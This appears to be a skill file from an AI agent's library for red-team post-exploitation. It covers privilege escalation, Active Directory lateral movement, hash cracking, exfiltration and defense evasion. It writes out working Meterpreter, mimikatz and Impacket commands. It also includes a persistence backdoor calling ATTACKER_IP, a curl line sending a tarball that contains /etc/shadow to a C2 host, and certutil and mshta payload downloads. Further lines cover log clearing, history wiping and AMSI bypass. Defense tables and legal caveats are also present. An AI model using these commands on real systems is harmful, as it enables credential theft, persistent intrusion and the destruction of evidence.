Skill: Post-Exploitation

Supplementary Files:

• payloads.md — Complete attack payload and command checklist organized by phase: privilege escalation, persistence, credential extraction, lateral movement, data exfiltration, anti-forensics, and tunneling/reverse shells.
• test-cases.md — Structured test cases covering privilege escalation, persistence, credential extraction, lateral movement, and data exfiltration, with severity levels and statistical summary tables.

Summary

Post Exploitation skill domain covering post exploitation operations.

Tools: Metasploit (Meterpreter), Impacket, BloodHound, mimikatz, Empire/Starkiller, PowerSploit (+4 more)

Domain: post-exploitation

MITRE ATT&CK: TA0005-Defense Evasion

Description

Post-exploitation covers the complete attack chain after obtaining initial access: privilege escalation, persistence, lateral movement, data collection and exfiltration, and covering tracks. This phase determines the depth and value of a red team assessment — the critical transition from initial breach to full domain control. The core objective is maximizing control scope within the target network while minimizing detection probability.

Use Cases

1. Restricted initial shell — Escalate from low-privileged user to root/SYSTEM after obtaining initial shell.
2. Domain environment penetration — Perform credential extraction, ticket forgery, and lateral movement in Active Directory.
3. Persistence requirement — Establish multiple persistence mechanisms on target systems to ensure long-term access.
4. Data exfiltration assessment — Demonstrate complete sensitive data exfiltration paths from internal network to external.
5. Red team simulation — Model advanced threat actor complete post-exploitation TTPs.

Core Tools

Tool	Purpose	Command Example
msfconsole (Metasploit)	Post-exploitation framework core; modular exploitation	meterpreter> getsystem
mimikatz	In-memory credential extraction; Kerberos ticket operations	mimikatz # sekurlsa::logonpasswords
Impacket-mimikatz	Remote credential extraction via Python	impacket-mimikatz domain/user:pass@target
BloodHound (bloodhound-python)	AD attack graph analysis and path visualization	bloodhound-python -d domain -u user -p pass -ns dc_ip -c All
PowerSploit	PowerShell post-exploitation module set	Invoke-Mimikatz; Get-GPPPassword
Empire / Starkiller	Post-exploitation C2 framework with agent management	uselistener http; launch --listener http
John the Ripper	Offline password hash cracking (CPU)	john --wordlist=rockyou.txt hashes.txt
Hashcat	GPU-accelerated hash cracking (300+ types)	hashcat -m 1000 -a 0 hashes.txt wordlist.txt
Impacket-secretsdump	Remote SAM/NTDS.dit credential extraction	impacket-secretsdump domain/user:pass@target
Impacket-psexec	Remote execution via service creation	impacket-psexec domain/user:pass@target
Impacket-wmiexec	Fileless WMI remote execution	impacket-wmiexec domain/user:pass@target
linpeas / winPEAS	Automated privilege escalation enumeration	./linpeas.sh or winPEAS.exe

Methodology

Attack Chain

Initial Foothold
    |
    v
Privilege Escalation --> Local PE (kernel vulns, service misconfig, token impersonation)
    |
    v
Persistence --> Scheduled tasks, registry run keys, services, WMI subscriptions
    |
    v
Lateral Movement --> Pass-the-Hash, PsExec, WMI, RDP
    |
    v
Data Collection --> Credentials, files, databases, screenshots
    |
    v
Exfiltration --> DNS tunneling, HTTPS, SMB, ICMP
    |
    v
Covering Tracks --> Log clearing, timestamp modification, tool cleanup

Defense Perspective

Defense Layer	Measures	Key Points
Least Privilege	Restrict user and service account permissions; tiered admin model	Reduces privilege escalation attack surface; Tier 0/1/2 separation for AD
Credential Guard / LSA Protection	Enable Credential Guard (Win10+); LSA Protected Process Light	Blocks mimikatz in-memory reads of LSASS; virtualization-based security
EDR / XDR Monitoring	Behavioral detection with process tree analysis and telemetry correlation	Real-time detection of abnormal process/network activity; SOAR automated response
Network Segmentation	VLAN + zone isolation for critical assets; deny east-west by default	Limits lateral movement blast radius; macrosegmentation + microsegmentation
Credential Rotation	Regular service account password rotation (30-90 days); shorten ticket lifetime	Reduces value of extracted credentials; gMSA for service accounts
Application Whitelisting	AppLocker / WDAC / Software Restriction Policies	Blocks unauthorized binary execution; blocks LOLBins abuse
Log Integrity	Forward logs to remote syslog/SIEM; tamper-proof storage (WORM)	Ensures forensic trail survives cleanup attempts; Windows Event Log forwarding
Tiered Administration	PAW (Privileged Access Workstation); Tier 0 isolation	Domain admin credentials never exposed to Tier 1/2 systems
AMSI Integration	Antimalware Scan Interface for script content scanning	Catches PowerShell/mimikatz content even when obfuscated

---

Practical Steps

See payloads.md for detailed payloads and test-cases.md for the complete test checklist.

1. Metasploit Post-Exploitation Basics

After obtaining a Meterpreter shell, execute core operations: system info gathering (sysinfo, getuid), automated privilege escalation (getsystem), permission enumeration (getprivs), hash export (hashdump), and credential extraction (load kiwi + creds_all).

# System information and current user
meterpreter> sysinfo
meterpreter> getuid

# Automated privilege escalation
meterpreter> getsystem

# Enumerate available privileges
meterpreter> getprivs

# Extract NTLM hashes
meterpreter> hashdump

# Load Mimikatz extension and dump all credentials
meterpreter> load kiwi
meterpreter> creds_all

# Local exploit suggestion
meterpreter> run post/multi/recon/local_exploit_suggester

# Enumerate logged-on users and shares
meterpreter> enum_logged_on_users
meterpreter> enum_shares

# Install persistence backdoor
meterpreter> run persistence -U -i 60 -p 4444 -r ATTACKER_IP

2. Privilege Escalation Techniques

Linux: Automated enumeration with linpeas.sh; find SUID binaries (find / -perm -4000 -type f 2>/dev/null); audit scheduled tasks (cat /etc/crontab); check sudo permissions (sudo -l); kernel exploit matching against uname -a output.

Windows: Automated enumeration with winPEAS.exe; view privilege tokens (whoami /priv); obtain patch information (systeminfo); check service permissions (accesschk.exe -uwcqv "Authenticated Users" *); unquoted service path exploitation.

Remote PE via Impacket:

impacket-psexec domain/admin:password@target
impacket-smbexec -hashes :NTHASH domain/admin@target

3. Active Directory Lateral Movement

Four-step process:

# Step 1: AD reconnaissance
impacket-GetADUsers -all -dc-ip DC_IP domain/user:pass
impacket-GetADComputers -all -dc-ip DC_IP domain/user:pass
impacket-findDelegation domain/user:pass -dc-ip DC_IP

# Step 2: BloodHound graph analysis
bloodhound-python -d domain -u user -p pass -ns DC_IP -c All
# Ingest JSON into BloodHound GUI; find shortest paths to Domain Admin

# Step 3: Credential extraction + Pass-the-Hash
impacket-secretsdump domain/user:pass@DC -just-dc-ntlm
impacket-wmiexec -hashes :NTHASH domain/admin@target

# Step 4: Lateral movement execution
impacket-wmiexec domain/admin:password@target
impacket-smbexec domain/admin:password@target

4. Password Hash Cracking

After extracting NTLM hashes from secretsdump:

# Hashcat: dictionary attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt

# Hashcat: rule-based attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r dive.rule

# Hashcat: mask brute force
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?d?d?d?d

# John the Ripper: auto-detect hash type
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt

5. Data Exfiltration and Trace Cleanup

# Data packaging
tar czf loot.tar.gz /etc/passwd /etc/shadow /home/*/.*shistory

# Exfiltration via existing C2 channel (example)
cat loot.tar.gz | base64 | curl -X POST -d @- https://c2.example.com/upload

# Clear event logs (Windows)
meterpreter> clearev

# Manual cleanup
rm -rf /tmp/.tools/
rm ~/.bash_history && kill -9 $$

All operations must be documented in detail in the testing report.

---

Common Pitfalls

• Running automated enumeration without reviewing output: Tools like linpeas and winPEAS generate extensive output, but blindly trusting their recommendations without understanding the context can lead to chasing false positives or attempting exploits that will crash the target.
• Neglecting operational security: Failing to clean up uploaded tools, scheduled tasks, or modified registry keys after testing leaves artifacts that can trigger alerts. Always maintain a checklist of every modification made during the engagement and verify cleanup before disconnecting.
• Ignoring credential validation: Cracked hashes may correspond to expired accounts, disabled users, or changed passwords. Always verify credentials work against the target service before reporting them as valid findings.

Automation and Scripting

Automate post-exploitation enumeration with scripted chains: after obtaining a Meterpreter session, automatically run local_exploit_suggester, export hashes, enumerate logged-on users, and collect system information in a single scripted sequence. Use BloodHound's ingestor (bloodhound-python or SharpHound) for automated Active Directory attack path analysis. Build custom PowerShell or Python scripts for specific post-exploitation tasks like automated credential harvesting from memory, registry, and configuration files.

Reporting and Documentation

Post-exploitation reports should document the complete attack chain from initial access to domain dominance, including every escalation step, lateral movement path, and data access point. Include screenshots of privilege escalation proofs (whoami output before and after), extracted credential counts, and network diagrams showing the lateral movement path. Map all techniques to MITRE ATT&CK IDs for standardized communication with the blue team. Detail the persistence mechanisms installed and provide exact removal instructions for each one.

Legal and Ethical Considerations

Post-exploitation involves accessing systems and data that go far beyond the initial scope of a vulnerability. Ensure the engagement letter explicitly authorizes privilege escalation, lateral movement, and data access. Data exfiltration testing should use fabricated test data rather than real sensitive data whenever possible. Persistence mechanisms must be fully documented and removed before the engagement ends — leaving backdoors on production systems is a serious legal liability regardless of intent.

Integration with Other Tools

Post-exploitation sits at the center of the kill chain, consuming input from and feeding output to multiple adjacent skills. Initial access comes from network-pentest or web application exploitation. Credential extraction feeds into password-attack for hash cracking. Cracked credentials enable further lateral movement using impacket tools. BloodHound analysis of Active Directory structures informs social-engineering campaigns. Binary reverse engineering (binary-reverse) helps analyze malware or custom tools found on target systems during post-exploitation.

Case Studies and Examples

• AD domain escalation via Kerberoasting: During an internal assessment, a low-privileged domain user queried for Service Principal Names and extracted Kerberos TGS tickets. One service account had a weak password crackable in 15 minutes, and it turned out to be a member of the Domain Admins group — granting full domain control from a single cracked hash.
• Linux privilege escalation via cron: A scheduled task running as root executed a shell script in a world-writable directory. By appending a reverse shell payload to the script, root access was obtained within the next cron cycle (5 minutes) without exploiting any kernel vulnerability.
• Lateral movement via Pass-the-Hash: After extracting NTLM hashes from a compromised workstation, the local administrator's hash was reused across 23 other workstations in the same VLAN, enabling lateral movement to a machine where a domain admin had an active session.

Detection Methods

Modern EDR/XDR platforms detect post-exploitation through behavioral analysis. Understanding these signals helps testers operate more stealthily and helps defenders prioritize monitoring.

Process-Level Indicators

• LSASS memory access: Non-system processes accessing LSASS memory trigger EDR alerts (Credential Guard blocks this).
• Suspicious process lineage: cmd.exe / powershell.exe spawned by web services (w3wp.exe, sqlservr.exe) indicates remote code execution.
• Living-off-the-land binaries: Anomalous use of certutil.exe, mshta.exe, rundll32.exe, wmic.exe outside typical admin patterns.
• In-memory execution: PowerShell -enc/-w hidden flags, reflectively loaded DLLs, process hollowing patterns.

Network-Level Indicators

• Anomalous WMI connections: DCOM traffic on TCP/135 + dynamic ports to non-admin workstations.
• PsExec service installation: PSEXESVC.exe service creation events (Windows Event ID 7045).
• SMB session anomalies: Multiple admin shares accessed (ADMIN$, C$) from non-admin source.
• BloodHound LDAP queries: Recognizable query patterns (filter on servicePrincipalName, memberOf:1.2.840.113556.1.4.1941:).

SIEM Detection Rules

• Sigma rule: sigma/rules/windows/lsass_mem_access.yml
• Splunk SPL: index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10 TargetImage="*\\lsass.exe" | stats count by SourceImage, Computer
• Windows Event ID 4624/4625: Logon type 3 (network) from unusual source IPs.
• Windows Event ID 4688: Process creation with command line logging enabled.

Defense Evasion Techniques

In-Memory Execution

• PowerShell -enc: Base64-encoded payload avoids content-based signatures.
• Reflective DLL injection: Load DLL from memory without touching disk.
• Process hollowing: Replace legitimate process memory with malicious code.
• CLR injection: Abuse .NET Common Language Runtime for in-memory .NET assemblies.

Living-off-the-Land Binaries (LOLbins)

• certutil: certutil -urlcache -split -f https://c2/payload.exe (download disguised).
• mshta: mshta https://c2/payload.hta (HTML Application execution).
• rundll32: rundll32.exe javascript:"..." (JavaScript execution).
• wmic: wmic process call create "payload.exe" (remote process creation).

Timing and Blending

• Business hours activity: Run enumeration during peak admin hours to blend with normal behavior.
• Slow C2 beaconing: Jitter timing + low frequency (every 60-90 min) to mimic legitimate traffic.
• HTTPS C2: Use legitimate-looking domains (CDN fronts, expired SSL certs).

Selective Log Manipulation

• Selective clearing: Delete only specific Event IDs (e.g., 4624 logons) rather than full log.
• Time-stomping: Modify file timestamps to match legitimate files (timestomp in Meterpreter).
• Memory-only artifacts: Use memfd_create() for tools that never touch disk.

Tool Obfuscation

• AMSI bypass: Patch amsi.dll in-memory before loading scripts.
• Signature modification: Modify open-source tool source code to evade signatures.
• Custom loaders: Build bespoke loaders instead of using known frameworks (Cobalt Strike, etc.).

Advanced Techniques

Advanced post-exploitation includes: token impersonation and delegation attacks in Active Directory, Kerberos silver and golden ticket forgery for persistent domain access, DCShadow attacks for real-time Active Directory modification without logging, CLR injection and process hollowing for stealthy in-memory code execution, and ADS (Alternate Data Streams) for hiding tools and data on NTFS filesystems. For Linux environments, explore container escape techniques, kernel exploit chaining, and SSH key persistence across reboots.

Tool Comparison Matrix

Tool	Best For	Detection Risk	Skill Level
Metasploit (Meterpreter)	Full post-exploitation framework	High (well-signatured)	Intermediate
Impacket	Python-native AD/network attacks	Moderate	Intermediate
BloodHound	AD attack path visualization	Moderate (LDAP queries)	Beginner
mimikatz	Credential extraction from memory	Very high (signatured)	Advanced
Empire/Starkiller	C2 with agent management	Variable (configurable)	Advanced
PowerSploit	PowerShell-based post-exploitation	High (AMSI detection)	Intermediate
linpeas/winPEAS	Automated enumeration	Low (signed binaries)	Beginner

Hacker Laws

Law	Core Principle	Post-Exploitation Application
Assume Breach	Defenders should assume attackers are already inside	Red team simulates already-breached scenarios; blue team uses this as baseline for detection drills.
Least Privilege	Grant only the minimum permissions needed to complete a task	Attackers exploit over-privileged service accounts for lateral movement; defenders limit permissions to shrink attack surface.
Defense in Depth	Multiple security layers must stack to protect critical assets	Bypassing one layer is not enough — defenders need EDR + network segmentation + credential protection in combination.
Murphy's Security Law	Anything that can go wrong, will go wrong	Attackers only need to find one configuration error; defenders must close every path.

---

Learning Resources

Skill supplementary files: payloads.md, test-cases.md

Related Skills: skills/network-pentest/SKILL.md, skills/binary-reverse/SKILL.md, skills/privilege-escalation/SKILL.md

External Resources:

• Metasploit Unleashed — Offensive Security official free course (deep Metasploit usage).
• HackTricks — Post-exploitation technique quick reference manual, continuously updated.
• MITRE ATT&CK Framework — TTPs classification standard, attack chain reference.
• Impacket Official Documentation — Network protocol toolkit reference.
• BloodHound Documentation — AD attack path analysis.
• PayloadsAllTheThings — Privilege escalation and post-exploitation payload collection.

Tool mastery status: msfconsole (mastered) | mimikatz, bloodhound, powersploit, empire, john, hashcat (learning) Reference notes: memory/2026-03-21-post-exploitation-tools.md, memory/2026-03-21-password-attack-tools.md